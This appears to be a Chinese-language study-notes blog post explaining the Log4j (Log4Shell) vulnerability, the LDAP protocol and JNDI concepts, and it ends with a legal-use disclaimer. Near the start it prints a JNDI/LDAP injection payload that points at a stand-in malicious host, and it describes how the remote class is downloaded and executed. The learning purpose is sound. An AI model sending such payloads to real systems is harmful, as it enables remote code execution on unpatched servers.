Log4j及其相关协议学习笔记
仅为学习记录,如有错误,感谢斧正
Log4j
漏洞描述
在日志中如果存在${},log4j会自动解析并执行代码,如果攻击者利用ldap协议去请求恶意地址的字节码文件,最终会造成代码执行
漏洞原理
对于${jndi:ldap://eval.com/cmd.class}这个payload
- 用户请求被记录在日志中
- log4j发现${}调用底层的JNDI去执行lookup()
- JNDI解析eval.com域名
- JNDI连接LDAP服务器,请求下载远程对象
- eval.com服务器会返回http://evil.com/Cmd.class
- JNDI收到响应,发起http请求并下载文件
- 对class进行实例化,自动触发恶意代码
注意:LDAP协议是没有http请求功能的,在这个payload中LDAP建立连接之后通过389发送数据
其中的DNS解析是JNDI的ldap://Scheam解析器具备的远程资源定位
影响版本
2.0 <= Apache log4j2 <= 2.14.1
LDAP
LDAP (Lightweight Directory Access Protocol) [轻量目录访问协议]
目录服务
LDAP信息模型基于条目,条目是具有全局唯一名称(DN)的属性合集。每个条目的属性都有一个类型和一个或多个值LDAP中的类型属性(Attribute Types)如下
● DN(Distinguished Name) :
DN是LDAP目录的唯一标识,由一系列的相对区别名(RDN)组成。每个RDN都由一个属性类型及其值组成,并且这些RDN按从上到下顺序排列
cn=admin,dc=testldap,dc=org是一个DN,其中包含三个RDN
cn=admin,dc=testldap,dc=org
● CN(Common Name) :
CN是用于标识对应标识目录中的对象(通常是用户或设备)的属性类型
● OU(Organization Unit) :
OU表示组织单位,是一种将目录中的对象进行逻辑分组的属性类型。不同的部门或团队可通过OU表示
● O(OrganizationName) :
O表示组织的名称,通常用于标识目录中最高级别的组织
● UID(User ID) :
UID 是唯一标识用户的属性类型。每个用户在系统中都有一个唯一的 UID。这个属性通常用于用户登录和认证。例如,某个用户的 UID 可能是uid=jdoe
● DC(Domain Component) :
DC 是表示域组件的属性类型,用于描述域名的层次结构。例如,dc=org表示顶级域名,dc=testldap表示二级域名。这些组件可以组合在一起形成一个完整的域名,例如:dc=testldap,dc=org
流程和安全机制
流程:
LDAP客户端与服务器建立连接,(支持TCP/IP TLS/SSL加密)
客户端通过绑定(Bind)操作提交凭证进行身份验证
之后可执行搜索(Search),比较(Compare),添加(Add)等操作
最后解除绑定(Unbind)断开连接
安全机制:为保障安全,LDAP通信可通过LDAPS(636端口)或STARTTLS(389端口)加密,并结合SASL机制提供更强大的认证
应用场景
● 统一身份认证 (SSO):作为企业SSO的核心身份源,用户一次登录即可访问所有集成的应用,如Jenkins、GitLab、VPN等。
● 用户与权限管理:可集中管理所有用户账号、组及访问权限,极大简化了IT管理员的工作。
● 系统集成与对接:可对接H3C EIA、Hive等各类系统,实现统一认证,简化管理并提高安全性。
● 网络资源管理:可用于存储和管理共享打印机、网络驱动器等网络资源的信息。
● 通讯录管理:可作为企业级通讯录,集中存储员工的联系方式等信息。
● 邮件系统集成:可集成至邮件系统(如Exchange)用于存储用户邮箱信息和路由地址。
JNDI
JNDI(Java Naming and Directory Interface)是Java提供的标准命名和目录接口,通过统一的API使应用程序能够访问各种命名的对象和目录服务。
JNDI SPI
SPI(Service Provider Interface 服务供应接口)是JNDI中的一个关键组件,主要作用是为了底层的具体目录服务提供统一的接入接口
通过SPI,不同的目录服务实现可以无缝集成到JNDI架构中,而不用修改应用层代码
常见服务
RMI(Java Remote Method Invocation):
Java远程方法调用
LDAP(Lightweight Directory Access Protocol):
轻量级目录访问协议
CORBA(Common Object Request Broker Architecture):
通用对象请求代理架构,用于COS名称服务(Common Object Architecture)
DNS:
域名服务
命名服务
命名服务(Naming Server)是一种通过名称查找实际对象的服务,例如
● RMI协议可以通过名称查找并调用远程对象
● DNS协议通过域名查询对应IP
Bindings
表示名称与对象之间的绑定关系,例如
● DNS协议中,IP与域名绑定
● RMI协议中,远程对象与名称绑定
● 文件系统中,文件内容与文件名绑定
Context
一种容器环境,本身也是一个java对象,可以通过名称绑定到另一个容器中
想要得到一个Context对象,可以调用它的查询(lookup)方法来获得其中绑定的java对象。
而且调用某个Context对象的lookup方法也可以获得Context树中的任意一个Context对象,只需要在lookup方法中指定对应的Context路径即可
JNDI没有根Context的概念,因此JNDI API提供了一个InitialContext类来创建用作JNDI命名操作的入口Context对象

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
